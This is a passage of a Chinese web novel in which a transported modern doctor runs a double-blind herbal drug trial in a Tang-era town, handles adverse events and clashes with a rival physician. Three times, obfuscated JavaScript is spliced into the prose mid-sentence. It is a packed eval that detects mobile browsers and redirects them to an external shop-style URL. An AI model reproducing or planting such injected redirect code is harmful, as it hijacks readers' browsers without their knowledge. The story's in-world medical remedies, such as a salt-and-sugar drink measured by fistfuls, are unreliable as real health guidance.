白理清了清嗓子继续发问:“那要如何将病患分组?谁来分?” “用陶罐叶片法。”冯麓俯身在地上捡起几片被秋风吹起的落叶,从腰带里掏出一小支炭笔在上面歪歪扭扭地写了什么,又把叶子递给白理。 “如你所见,我会在上面写上‘一’、‘二’、‘三’三个字,分别代表了三个组别,叶片由医师进行公正地抽选[3]。但分组的结果医师不会知道,病患也不能知道,只有我知道,这叫‘双盲’[4]。” “所以,白堂主,我们此次验方又可以称之为——” “评价‘圣愈汤’治愈‘血纹症’(李氏诅咒)有效性和安全性的多中心、随机、双盲、安慰剂平行对照二期临床试验[5]。” 方案讨论结束,口服液也准备完毕,蒲城可以正式开始进行筛选了。 冯麓拿着名单,和白理一起去各位老爷夫人的府上甄选。 “不行,年纪太小。” “不行,舌象不符合,也没有瘀点。” “不行,症状相似点太少。” 在第六次筛败以后,白理的脸“刷”地一下变黑,把冯麓拉到府外问:“医者不能挑剔病患你不知道吗?他们都是中咒之人,为什么不行?” 冯麓把手挣脱出来,回道:“因为此方最后是呈现给陛下使用的,所以参与验方的病患必须与陛下的所有特征相同或者高度相似,否则无法判断是否能救治陛下。” 白理冷哼一声,说:“他们就因为与陛下不同所以被剥夺了服用解药的资格吗?我偏要纳入他们会怎样?” 冯麓紧咬着后槽牙,好言好语地解释:“白堂主,如今我们能在此研制解药全是仰仗陛下之威,若是解药制成,大家就都有得救,只是时间或早或晚。 但若是一股脑儿把不合适的人也纳入其中,我们又怎知他们症状减轻或者加重是否与解药有关?看不出方剂效果,解药就很难研制成功,白堂主若希望解药尽快制成的话,就先听我的。” “姑且如此吧。”白理一甩袖子大步流星地离开,“提前告诉你,我认可你的方法,但不代表我认可你。” 他身后的冯麓默默翻了个白眼,小声嘟囔着:“说的好像我就很认可你本人一样。” 县里中咒之人几乎三步一个,冯麓先按李麒的症状和脉象筛选出了五个合适的病患,让他们尽快去仁医堂找白理问诊,而杨凛则负责在医案格记录他们的人口学信息以及服药前的症状。 第一个被纳入的病人叫王媪,作为阳帝最小的外孙女来蒲城守陵,拥有几乎和李麒五成相像的症状和脉象。 “王夫人,这是日志簿,需要您写下喝完药后出现的所有感受以及服用的所有食物。”冯麓拿出一本空白的册子递给王媪,“验方期间不可再另外服药,不可食用的食物也已在日志簿里提前说明,若有不适请及 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16513163|186174||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时来仁医堂。” “冯大人,我是一次把七天的药拿回去自己煎吗?”王媪问。 冯麓微笑回道:“王夫人不必自己煎药,我们的解药已经煎好,为了保证药罐安全,我会差手下的人送去贵府。” “那就多谢白堂主和冯大人了。” 王媪离开后,杨凛扯着冯麓的衣袖试探性地问:“大人,我们这儿就我一个选人,差谁送啊?” “你都说没其他人了,还能有谁?”冯麓看着杨凛那倒吸一口凉气的模样,轻笑着拍他的肩膀,“放心,我会自掏腰包给你额外俸禄的。” “冯大人真舍得下血本啊。”白理从冯麓身边擦肩而过,淡淡的语气里全是不满,“也是,若成功讨好了陛下,得到的回报恐怕什百[6]不止,这一点小钱又算得上什么。” 冯麓为了工作硬撑的笑脸瞬间垮下,对着白理远处的背影气不打一处来。 “大人别气,想是白堂主是被这几日甄选病患烦心到了。”杨凛见状赶紧哄着冯麓,“大人再忍忍,我们一完成验方马上就离开!” “他还烦心?最该烦心的应该是我吧?真不知道到底哪儿得罪他了。” 她上班这么多年也见过不少奇葩,但都对她这个博士兼病区副主任毕恭毕敬的,就没见过这么难相处、难配合、成见还这么深的同事。 偏偏白理在蒲城还这么权威,杨凛独自去街上招募了一整天都是徒劳无功,但病患一看到他全都一百八十度大转弯,生怕抢不到名额。 最烦这种看不爽又干不掉的讨厌鬼。 时间很快来到王媪服药的第八日,她已经服完了整整七日解药,到了来仁医堂访视的日子。仁医堂所有人都既紧张又期待,每个路过门口的人都忍不住往外探上几眼。 可直到申初一刻[7]都没有看见王媪的身影。冯麓心里开始忐忑不安,不会首例病人就发生了不良事件[8]吧? “杨凛,你去王夫人府上看看,是不是出什么事儿了?” “是!” 就在杨凛刚慌忙跑出门的时候,王媪被下人搀扶着走进仁医堂,手指按着眉心,表情痛苦。 坏了,冯麓心想。 注释及参考文献: [1]阳性对照:指现代药物试验中用现有的疗法与研究疗法进行对照试验的方法。 [2]空白对照:指现代药物试验中用安慰剂与研究疗法进行对照试验的方法。 [3]随机:指现代药物试验中为受试者进行随机分组的方法,为的是让受试者公平公正地接受试验治疗,随机只能由研究者(医生)进行。 [4]双盲:指现代药物试验中医生和受试者都不知道随机分组的结果。 [5]王永,黄志惠,孙海清.圣愈汤加味治疗原发免疫性血小板减少症气不摄血证疗效观察[J].西部中医药.2025.38(6):137-140. [6]什百:古代对于“十倍”的说法。 [7]申正一刻:一个时辰中前半时辰为“初”,后半时辰为“正”,申初一刻大概是“4点15分”。 [8]不良事件:指现代药物试验中受试者在接受试验用药后出现的任何不良医学事件,这些事件可能表现为症状、体征、疾病或实验室检查异常,但并非一定与试验用药有直接因果关系,简称为“AE”。 5. 方案违背 “王夫人,您这是……”冯麓赶紧围上去接过下人的手,小心地扶着王媪坐下来。 “冯大人,我……我头疼,还想吐。”王媪苍白的面色和唇色显得那从耳根蔓延出来的血纹更为鲜艳刺眼。 站在她身边的丫鬟没好气地指着冯麓质问道:“是不是你这解药的缘故?我家夫人此前不服药的时候头都没有这样痛过!” 丫鬟的声音又高又尖,引来了不少过路人进来围观,一时间,人群中不免有细碎的质疑。 路人中有凑热闹的,鼓起勇气大喊:“验方使,你究竟是不是真的孙氏门徒啊?怎的让你来治病反倒把人越治越严重了?” “是啊!你到底学没学过医术啊?” “果然是黑心医师!” 质疑声越来越大,回响在整个仁医堂大厅,十分刺耳。 “出什么事儿了?”白理此时皱着眉从门外走进来,看着这闹剧一头雾水。 丫鬟抢先开口:“白堂主,我们是相信您才来参与验方的,现如今我家夫人就因为服了验方使的药成了这副模样,您要为我们做主啊!” 白理压根没理会丫鬟的诉苦,径直看向沉默不语的冯麓,沉声说:“验方使,我在问你。” 冯麓垂眸冷静思考了一番,没回答白理反而问王媪:“王夫人,之前交给您的日志簿今日有带来吗?” “日志簿?哦对,我差点儿忘了。”王媪用眼神指示丫鬟拿出来,丫鬟撇着嘴将那本日志簿随意地扔给冯麓。 冯麓没接到,日志簿的装订松散开,一页一页撒得遍地都是。冯麓一声不吭地蹲下,一张一张地捡回来。 白理见状,也蹲下去帮忙捡起纸页,整理了一下后递给冯麓。 “多谢白堂主。” 冯麓低着头打开看了看,里面密密麻麻记载了王夫人这七日所有餐食,看上去就跟任何一个普通人家的一日三餐没有分别。 丫鬟冷哼一声,再度开口:“验方使,夫人可没有讹你,也不稀得讹你。她这几日吃的都是最清淡的餐食,连往日的药都停了。” 没想到首例受试者就出现了不良事件,冯麓心里开始慌乱,但仍然不肯放弃地又把日志簿从头到尾翻阅了一遍,还是没有任何线索。 “夫人,若是解药导致,我一定负责将您诊治到底,医药费我付。”冯麓走近王媪,伸手搭脉,“但是夫人还请让我看上一看,以确定是哪里出了毛病。” 脉象更细,掌心是温的但是指尖是冰冷的,而舌象并未有什么改变。 等会儿? 冯麓掏出铜镜碎片,反射屋外的阳光照亮王媪的口腔,她的口腔里还残留了一点食物残渣,而正是这一点残渣让整个不良事件的源头水落石出。 “王夫人,您是不是不久前吃了杏仁?” “吃了一小块杏仁酥,你是怎么知道的?” “杏仁和解药同服有毒性[1],这些禁用药是在日志簿上写了的,或许您没有看到。” 王媪和丫鬟相视一眼,随即神情变得尴尬起来。 冯麓捕捉到了这个细节,惊讶地问:“夫人您是知道的?” “我以往每日都会吃几块杏仁酥,忍了七日没吃实在馋得慌,所以……我想着只吃一块应该不会……” “夫人请您对自己的身子重视一些,我将禁用的食物注明出来就是以防万一,我自然是可以替您诊治到底,但逞一时口腹之欲只会让您多受苦。” 冯麓露出少见的严肃神情,“王夫人,后续的疗程里不可再食用禁用食物和药物了,一是担忧您会病情加重,二是担忧您的症状会影响我们对于其他人的判断。” 王媪低下头,“对不住,冯大人。” “我只是一介小医师,王夫人不必对我道歉,但我们说的每一句话都请您牢牢记住。” 冯麓蹲下身子让自己与王媪平视,虽然嘴角还挂着微笑的弧度,但眼睛和语气全是不容反抗的坚定。“希望王夫人不要对我们有所隐瞒,我们不是您的敌人。” “这个用上百年无数生命堆砌起来的魔鬼才是。” 下一个来进行随机入组的受试者是李铉。 李铉是陈王李睦的第六子,论关系的话算是李麒的远房堂弟,在陈王陪葬先帝时举家从长安搬来了蒲城。 李铉与李麒的血缘更亲近一些,症状和脉象有个七八成相似。冯麓心里默默祈祷希望他可以随机到实验组,效果就会更明显。 白理刚抽出纸条,李铉就好奇地指着纸条问:“我是哪个组别的?能用上解药吗?” “不确定,要等验方完成才会公布。”白理回答道。 李铉大为震惊:“什么?我已经二十四岁了,若是一年后你们才完成验方,我岂不是都不知晓自己是因为诅咒死的还是因为你们的药死的?” 冯麓见状立即解释道:“六公子,我们只让您服用一月的药,若这期间您有任何不适,都可以提前退出。一月后解咒无效的话,我们会给您服用其他缓解痛苦的药。” 白理在一旁无声地点头附议。 李铉叹口气,颇不乐意地说:“行吧,看在白堂主的面子上我就勉强一试吧。” “多谢六公子对验方工作的大力支持。”白理向李铉行礼致谢,可冯麓已经隐隐预料到这个六公子可能会给他们一口气来上几个方案违背。 李铉走后,杨凛竖起手掌悄悄贴在冯麓耳边吐槽:“大人,我怎么感觉这人好像觉得我们在求他用药啊?” 冯麓苦笑几声,“以后就好了。” “以后咱们和病人熟悉了就不会这样了吗?”杨凛问。 “不是,以后你就会习惯了。” 再下一个受试者是县令的儿子杜蜻,因为母亲那边有李氏的血缘,所以他也中了诅咒。 不过杜蜻在门口磨磨蹭蹭愣是不进来,杨凛只好去门口问:“杜公子,您是在门口等人吗?” “不是,”杜蜻挠挠头,眼神飘忽地走进仁医堂,“那个……冯大人,杨大人,我可以换一个医师吗?” 白理听到杜蜻的声音,转身瞥了一眼,正好撞上杜蜻的眼神,电光火石间冯麓似乎都能闻到硝烟味。 “我怕他给我下毒。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16513164|186174||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “呵,我不会因为你自毁前途。” 两人双双抱着胳膊转头到另一侧,避开任何眼神的接触。看来这俩人有仇恨,冯麓猜想。 白理还是坚持做完前五例,所以没让其他医师插手,直接把杜蜻按在椅子上强行问诊。 杜蜻的症状与李麒只有六成相似,但他是唯一拥有与李麒相同的手臂血纹的病患。 随机分组时,杜蜻再次看着冯麓确认了一遍:“冯大人,您确定他不会做什么手脚吧?” “你的话真是一如既往的多。”白理臭着脸掏出一张纸条,之后就甩手离开了问诊室。 冯麓趁杨凛去取来药汤的时候,没忍住好奇心,向杜蜻打听了一下他们之间的往事。 “冯大人,您和白理是一伙儿的,我不好在您面前嚼他舌根啊。” 冯麓摆摆手,否认道:“他不喜欢我,我也不喜欢他,以此来看咱们才是一伙儿的。杜公子尽管说便是。” 于是杜蜻像逮到机会似的,滔滔不绝地讲起他和白理的往事。 白理是穷苦人家的孩子,父母双亡后带着妹妹来到蒲城求生,一边替富人做些杂活一边去学堂偷偷听先生讲课。 杜蜻某天遇到白理的妹妹,看她可怜就请她去家里烤火吃馍,没想到白理以为他想拐走他妹二话不说就暴揍了杜蜻一顿。 虽然白理后来道了歉,但因为肿成猪头而被朋友笑话的杜蜻吞不下这口气,找学堂告状把偷听讲课的白理撵出去,并求得县令父亲去警告各个学堂,谁要是让白理偷听就停办讲学。 由此一来,杜蜻和白理就彻底结下了仇,虽然现在看来这些仇恨都挺幼稚的。 怪不得他这么厌恶权贵,感情是你们造的孽呀,冯麓腹诽道。 杜蜻走后,冯麓收拾好东西准备和杨凛回驿站,一转身却发现白理不知何时不发一言地站在她身后,给冯麓吓了一大跳。 “验方使大人,我的往事好听吗?”白理靠近,用深不见底的双瞳注视着冯麓,“他们一句话就可以让我父母上山打猎只为博得亲王一笑,同样也是一句话就可以灭杀一个穷孩子对于知识的渴望。” 白理不断靠近再靠近,直到把冯麓逼到了墙边,“权贵固然可恶,但你们这些为了一己私利攀附权贵的人更不可饶恕。就是因为有你们这样的人,才能让他们权势越来越大,伸出的手越来越长。” 冯麓伸手用力将白理推开几米远,皱起眉说道:“你以为我是为的钱才给陛下制作解咒药的?白堂主,你总觉得我高高在上,实际你才是那个自以为是的人。” “白理,我尊称你一声‘白堂主’,是因为我尊重你的医术和权威,并且我作为统领全局之人不能亲自上手,不然我根本不可能需要你。” 冯麓以往那柔和的眼神瞬间变得冰冷,露出与年龄完全不契合的气场。她用手指点了点白理的前胸,说:“我现在与亡命之徒没什么两样,你现在最好乖乖配合我,而不是针对我,不然我死的时候说不准会拿你当垫背。” 注释及参考文献: [1]《本草经集注》陶弘景(南) 6. 入住凶宅 冯麓来到蒲城差不多半个月,一直住在驿站没来得及租房子,于是她找了牙人,和杨凛挑了个阳光明媚的日子去看房。 “姑娘有什么要求吗?” “必须有一片田地,至少三间屋子,安静,而且得离仁医堂近点儿。” “这个有点难……” “加钱也可以。” 牙人苦思冥想后突然一拍掌,表情兴奋地说:“近日有一位夫人回娘家长住了,她的院子或许姑娘会喜欢。” 冯麓来到那个院子,几乎符合她所有要求,独独有一处她不太满意。她指着院子里的田地问:“大哥,请问这块地是我和隔壁共用吗?” 那块地被篱笆一分为二,篱笆非常矮以至于可以将隔壁院子尽收眼底,冯麓走过去看了一眼,另外那半块地已经种满了花草,长势喜人。 “是的姑娘,”牙人陪笑着回答,“这两间院子原是一间,主人也原是一对夫妻,但是夫妻俩去年和离了,所以用篱笆硬生生给隔出来两间院子。” “和离?你确定?”冯麓眼尖地发现一处异常,走到墙边蹲下细细看了一遍,“这院子死过人吧?” 牙人彻底慌了神,问冯麓怎么看出来的。 “墙上有一处陈年血迹,若说是鸡血或者猪血倒也不是不行,但偏偏墙砖与土地的缝隙里掉落了一些头发以及看上去像指甲盖的人体组织。”冯麓拍了拍手上的灰尘站起身,“大哥你这就不厚道了,明明知道是凶宅也不告知我。” “小的眼拙,没想到姑娘生得漂亮还如此聪慧。若是姑娘诚心要,小的甘愿半价租赁。” 杨凛哼哼笑了一声,颇自豪地告诉牙人:“我家大人可不是普通女子,她是陛下钦点来这儿破解李氏诅咒的验方使,一般的小伎俩可骗不过我家大人。” 牙人“扑通”一声跪下,结结巴巴地说:“大大大人,小的有眼不识泰山,不该欺瞒大人!小的再再去找一间更好的院落给大人!” “起来吧,我想再问你几个问题。”冯麓把牙人扶起来。 “小的定知无不言、言无不尽。”牙人没想到着生意没做成反惹一身骚,声音抖得不行。 “这个凶案是妻子杀的丈夫,还是丈夫杀的妻子?” “是是是是妻子杀的丈夫。”牙人如实回答,虽然他也不知道这两个问题有什么区别。 “隔壁知道这院子是凶宅吗?” “知知知道。” 冯麓突然觉得有意思起来,出言让杨凛给钱。但是杨凛和牙人都十分不理解,一个不想给,一个不敢收。 “大大大人为何得知是凶宅以后还还还是要决定要租赁?”“对呀大人,这可是凶宅!闹鬼了咋办?” “自古以来女子都是被压抑绑架的那一个,若不是走到山穷水尽的地步她不会选择杀害丈夫。在我看来这不仅不是凶宅,还是一座承载了反抗勇气的院落,我很欣赏这位夫人。” 冯麓环抱着手臂又走到篱笆旁,用头示意了一下那边的方向笑着说:“更何况,隔壁那人都不怕,我有什么好怕的。” 牙人总算是安心收下了钱,走之前还对冯麓行了礼,感慨道:“验方使真乃女中豪杰,祝大人一切安好!” 牙人离开后,冯麓催着杨凛回去收拾东西一起搬进来,杨凛挠挠头问:“大人您不是不怕闹鬼吗?” “鬼不可怕,可怕的是人,多一个人住可以互相保护嘛。”冯麓双手把杨凛推出院落,“快走吧,赶在太阳落山之前收拾好的话,给你加钱!” “是,大人!” 冯麓和杨凛走在路上,遇到了卖糖人的贩子,她伸手拦了下来。 “老板,来一个糖人。” 杨凛看着冯麓吃得津津有味的样子,自己也不自觉笑起来,他好奇地问:“大人,原来您喜欢甜的东西呀。” “因为吃甜的东西可以分泌多巴胺。” 杨凛眨了眨眼睛问:“多巴……是啥?” 冯麓才想起来他们古人没有这个概念,所以换了个说法:“就是会快乐,烦恼会变少。” 杨凛听闻此话突然收起笑容,变得自责起来,“大人您这段时间很辛苦吧?本来都是应该我来做的事儿,却要麻烦您来帮忙。” “不打紧,你做得已经很好了,说到底都是白理的错,别的地方就没有他这么事儿的医师。” 杨凛刚要开口,就被路过的杜蜻一个大嗓门打断:“哎,这不是我们冯大人吗?平日都没见您出门,今儿有闲心出来转悠了?” “租了院子,正准备收拾搬家呢。杜公子近日如何?有哪里不适的地方吗?” “哎呀,冯大人您这个药真是好极了!我才服了两日就感觉浑身有劲儿,通体舒畅!我把这事儿跟我几个好兄弟说了他们还说要抢我的解药喝呢。” “什么?没有诊断过的人不能喝药的!千万别给他们喝!”冯麓瞪圆了眼睛,她也没想到还会有抢药这种事情发生。 “放心,我没给!为了不被那几个傻货盯上,我现在天天把药罐子带身上,这样他们就抢不走了哈哈哈哈哈!” 话毕,杜蜻展开他的衣袖,露出正拴在他裤腰带上的一排小药罐,整整齐齐,像带了一排炸弹似的。 “等会儿,我不是在发药的时候跟你说了吗,药汤要放阴凉处贮存,现在这么大太阳药会变质的!” 冯麓赶紧从杜蜻裤腰上解下一罐药打开来闻,一股强烈的酸臭味扑面而来,完全没有了原本的草本味。若是他只带一瓶出门还好,现在这样怕是要重新发放新药给他了。 她长长地叹了口气,对着杨凛无奈又无力地说:“看吧,按这烦恼找上门的速度,我每日吃三个糖人都顶不住。” 冯麓没有回驿站,而是直接把杜蜻带到仁医堂,找来非盲组[1]的煎药师按照随机组别重新发放新药。 她把药罐用一个木盒子装起来,小心翼翼地递给杜蜻,再三嘱咐:“请杜公子多加注意,别又让药汤被太阳晒到了,我们的药材有限,没办法总是为您更换新药。” “没事儿,我可以出钱。” “不是钱的事儿。”冯麓忍着怒气,用最后一丝耐心和礼貌将杜蜻请出门外,“您要是喝了变质药出了什么事儿,咱们县令大人可要心疼了。” “冯大人说的对呀!多谢冯大人~” 看着杜蜻欢脱的身影,冯麓擦了擦额上的细汗。县令心不心疼她才无所谓呢,要是杜蜻真出了什么事儿,她就完蛋了。 这一来一回,等冯麓和杨凛从驿站拖着行囊回到院子的时候,天已经完全黑下来,通往院子的小路没有了白日那样明亮温暖的氛围,在晚风里变得阴森森的。 “大人……您有没有觉得阴气有点儿重。”杨凛吞了口水弱弱问道,“不会真有鬼吧?” “胡说,世界上本就没有鬼神。” 冯麓虽然表面镇定自若,但心里还是有点隐隐的恐惧,她时刻注意着周围环境的变化,生怕有野兽或者什么坏人出没,毕竟野兽和坏人是真会要他们命的。 入了八月的蒲城昼夜温差很大,白天还能出汗的天气到了晚上可以给人冷出一身鸡皮疙瘩,尤其是这个四面都是山林的地方。 “快到了,等到家点个火暖暖就好了。”冯麓安慰着杨凛。 他们二人好不容易摸着黑回到院子,就发现今天定院子太草率了,这里除了家具和农具以外什么也没有,可现在再回驿站又太晚了。 杨凛转了一圈后彻底傻眼了,呆楞地站在院子里看着冯麓。“大人,这柴房里没柴,水缸里也没水,我们咋住啊。” 此时,隔壁传来了木门被推开的“吱呀”声,冯麓走到篱笆旁远远眺了一眼,说:“隔壁那人好像回来了,我去找他借点儿柴火和蜡烛先凑合过今晚再说。” 眼看着冯麓快步出门,杨凛拔腿就跟上,嘟囔着说:“大人等等我!别丢下我一个人!” 冯麓敲了敲隔壁的门,许久都没人应声。她轻轻推门,发现屋里微亮,猜想对方应该是没听到。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16513165|186174||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 干脆直接进去问问吧,她初来乍到,还有李麒赐的鱼符,邻居应该不会对她怎样。 冯麓咬咬牙,径直走到屋子门口,鼓起勇气再次敲了敲门,“叨扰了,没有得到允许就擅自进来很抱歉,请问有人在家吗?我们是今天刚搬进隔壁的租户,想跟您家借一点儿柴火和蜡烛。” 还是没人应答。 “不会没人吧?我刚刚明明听到门被推开的声音了的。”冯麓皱眉百思不得其解。 杨凛害怕得都快贴到冯麓手臂上了,声音止不住颤抖地问:“大人……会不会……咱们隔壁住的不是人……” “不会的。鬼最怕光亮,怎么可能点蜡烛?”冯麓有理有据的反驳让杨凛那快崩断的神经稍稍被安抚了一秒钟。 “请问一下有人在家吗?我们只借一点柴火和蜡烛就成。” 还是无人应答。 “算了,我们回去吧。” 冯麓带着杨凛转身,却无意间瞥见那片药田,她惊喜地弯下腰,轻轻抚摸过那紫色的花瓣,比见到和田极品玉还要视若珍宝。 “这邻居种的桔梗真不错,若这是野花我就可以摘走入药了。” “你一声不吭地进我家,还想偷我的桔梗?” 冯麓被这突如其来的声音吓了一跳,她迅速站起身却又正好顶到那人的下巴,对方吃痛地捂着自己的下巴,低沉地说:“验方使,你想偷我桔梗就算了,怎么还故意伤人?” 此时,明月行到正天,暖白色的月光像从破了洞的木桶里漏下一般,整个院子突然就亮堂起来,包括那位邻居的脸。 冯麓尴尬地后退一步,垂眸行礼道:“白堂主对不住,是我唐突了,若我早知道这里是你家也不会进来的。杨凛,我们走。” 冯麓拽着杨凛大步出了门,杨凛还在后面小声嘟囔:“不是,大人,没有蜡烛我们摸黑打铺盖啊?” “这不是有月亮吗?” “可是大人,好冷,咱们不是要烧柴火暖暖身体吗?” “多穿几件衣服不会死人的。快走,我才不想求他。” 冯麓和杨凛的声音消失在了她关上房门的那一刻,但她身上的药香味被留在了原地。 白理低头看着那株被冯麓抚摸过的桔梗花,他不由得想起他的妹妹,她也很喜欢这样蹲在桔梗旁边,用手指一点点地把玩。 一阵风起,白理打了个寒颤。 蒲城从秋季到冬季就是一个月的事儿,要不了多久,这里就又会冻死一群穷苦的人。而他那喜欢桔梗的妹妹,就是永远地被冻结在了蒲城的冬天。 冯麓从行囊里掏出两件衣服,还翻到了一个馍馍。她把馍馍掰成两块,将其中一块递给杨凛,“跟我忙活了一天辛苦了,垫垫肚子吧。” “谢谢大人。” 他们二人为了方便互相照应决定睡一个屋子里,反正主厢房里也有两个隔间两张床。 就是今晚没柴火洗不了脚,冯麓坐在床上总感觉浑身刺挠。 安静的夜里,他们的房门被敲响了。 这么晚了能是谁?冯麓已经安定下来的心重新被提起来。她悄悄走出隔间,杨凛此时正好也蹑手蹑脚地走出来。 “你去开门。”冯麓用唇语说。 “我不敢啊大人。”杨凛也无声地回。 “要你有什么用。” 冯麓左右扫视,抄起墙边的锄头,做了一下心理建设后猛地打开门。 “不管是人是鬼都滚出我家——” “啊啊啊啊啊啊——” 两个人都高声尖叫着,企图利用自己的高分贝震慑对方。但对方不是人也不是鬼。而是一捆柴火、一支蜡烛,还有一套打火石。 冯麓听到,隔壁的那扇木门又响了。 注释及参考文献: [1]非盲组:指现代药物试验中负责药物管理的人员,他们可以知道每个随机号代表什么组别。相对应的是盲态组,负责跟受试者和研究者沟通,不知道药是什么组别。 7. 不良事件 搬了家的第二天,李铉第二疗程刚好结束,需要回仁医堂进行随访,于是冯麓和杨凛早早去往仁医堂进行准备工作。 因为白理送来的柴火,冯麓从井里打了水顺利洗了脚,舒服温暖地度过了一夜,连早上起来都充满了活力。 冯麓在前厅跟其他医师搭着话,但是每一个与白理相似的身影经过都可以轻易吸引到她的注意。 “冯大人,煎药师想找您说药材的事儿。” “哦,来了。” 因为一次性熬了太多药汤,目前药材只勉强够前五个人的剂量,后面要再想筛选新的病患就难了。 “冯大人,堂主说验方用的药材需要大人自己准备。”煎药师清了清嗓子,模仿着白理的语气,“‘仁医堂日日亏损,哪儿有那么多闲钱供她折腾。’堂主原话是这样说的。” “事后又不是不给他赏金,至于这么抠门吗。” “‘她要是验方失败了没了赏金,我找谁讨债去。’这也是堂主的原话。”煎药师说完不好意思地低下头。 冯麓的笑容顿时僵在脸上。白理这人真是,刚对他印象好点儿就来这出。他们现在可是一条绳上的蚂蚱,这种时候救谁不是救,至于分那么清楚吗。 杨凛此时慌慌张张地跑进来,冯麓刚想斥责他不要私自进入煎药室就被他先开口打断,“大人不好了!六公子上吐下泻到快不省人事了!” 等冯麓三步并作两步走到外厅时,白理已经半跪在李铉身边把着脉,他眉头紧锁,看上去情况很不妙。 “脾胃极虚,脉象细若游丝,全身软弱无力,想是药里的寒性太大导致的。”白理低沉地说道。 这是蒲城开展验方以来出现的首例严重不良事件[1],事态严重,冯麓开始急速思考着问题的根源。 气不摄血证的病人因为血行不畅形成瘀点且长期血虚,所以需要化瘀和养血的药材,生地黄和白芍最是合适。这两味药虽然是寒性的,但将黄芪、人参、当归、川芎这些温性药材加一起居然都无法调和。 杂役给白理递上针包,白理施针前头也没抬地说道:“验方使,六公子病情危重,我要求即刻揭盲[2],让六公子提前退出。” “可以。” 冯麓远远地观察着李铉,他此时面容苍白满头冷汗,双眼紧闭着全身寒战不停,还时不时俯身吐暗黄的液体,看样子他已经把胃内容物全部吐完了。 杨凛把李铉的医案格拿出来,冯麓通过随机号确认了他的分组。但奇怪的是,这个组别是低剂量组,王媪其实也分到了低剂量组,为什么不良反应远没有李铉这样严重? “你家公子腹泻呕吐多久了?”冯麓转头问李铉护卫。 “貌似两三日了,第一二日还没有这么严重。” “是三日前服药后出现的?”“是。” 冯麓颇感不解,“那为何最开始服药那几日没有发作?若是不合体质,应是立即发作或是翌日发作才对。” “今日如此严重,也是服药后出现的?” “今日公子没有服药。”护卫呆呆地回答。 “不对,我看了日志簿,七日的用药全写上了,而且你们带来的空药罐数量也对得上,他应该是服了药的。”冯麓低头认真地把日志簿翻了个底朝天,但是没看出什么端倪。 “等会儿。”冯麓想到什么,突然皱眉转头盯着护卫,“六公子不会是把药在三日前就服完了吧?” 护卫依然呆呆地摇头,回答道:“不清楚,反正这两日没看到公子服药。” “那就是了,六公子应是一日之内服用了不止一日的药量,药效太强脾胃虚寒。”冯麓上前与白理一同蹲在李铉另一侧身旁,看着白理说:“白堂主,针灸恐怕太慢,用艾灸[3]来温阳散寒更快。” “艾灸?” 冯麓拿出她自己用艾茸做好的艾炷,还有几块去皮姜片,依次放置李铉的中脘、神阙和关元,点燃艾炷后放在上面烧炙。 “这是什么法子?”白理十分震惊,艾草和去皮姜片都是温性药物,但是这样搭配使用还是第一次看见。 “‘隔姜炙’是先生教我的法子,可以最快地为病患温阳散寒。”冯麓伸手叫来杨凛,吩咐道,“按照我手札里的‘六君子汤’[4]找煎药师煎来,快。” “是!” “‘六君子汤’?这又是何物?”白理问。 “就是在人参、白术、茯苓、甘草的基础上加了陈皮、半夏两味药,理气健脾、和胃降逆。”冯麓用棉布轻轻擦拭掉李铉脸颊上的冷汗,白理沉声问:“这也是孙道士教给你的?” “人参、白术、茯苓和甘草的配伍[5]是先生教我的,但加味是我自己想的。”冯麓一边说着,一边用银针扎着李铉的足三里穴。 白理沉默不语,注意力无法控制地从李铉转移到忙碌的冯麓身上。 她在危急关头的表现以及对药材的融会贯通完全不像只学了半年医术的人,要么就是她欺骗了自己,要么她就是百年一遇的天才。 白理想,难道冯麓真是天降神医来拯救大唐的? 冯麓好听的声音打断了白理的思绪,她笑着说:“白理,我发现你经常走神哎,病人醒了都没反应过来。” “嗯?”白理扭过头去,发现李铉不知道何时已经睁开了双眼,唇色变成淡红,呼吸虽然还是很轻但只要苏醒就有希望。 “大人,煎药师已经在煎药了。” “好,然后你去拿个海碗装满凉开水,放入一拳头的盐和一拳头的糖,搅拌匀了给我拿过来。” “六公子腹泻呕吐后会造成‘低渗性脱水’[6],糖和盐是为了给他补充能量和电解质。你不知道‘能量’和‘电解质’这两个词语也没关系,可以理解为人们身体里有一杆秤,我是为了把那把秤调和成两端等重的状态。”冯麓看向白理解释,突然有一种下乡支教的感觉。 “我没想问你。”白理移开眼神,撇嘴道。 明明就是很想问,他的眼睛里分明对于冯麓的每一个奇思都充满了好奇。 真是有够嘴硬的。冯麓挑眉,无所谓地笑道:“好吧,是我多嘴了。” “六公子,还认得我是谁吗?”冯麓凑近温柔地问。 “你……你是验方使。”李铉半睁着眼睛,弱弱地回答。冯麓笑眼弯弯,肯定道:“很好,意识总算恢复了,没白做功。” 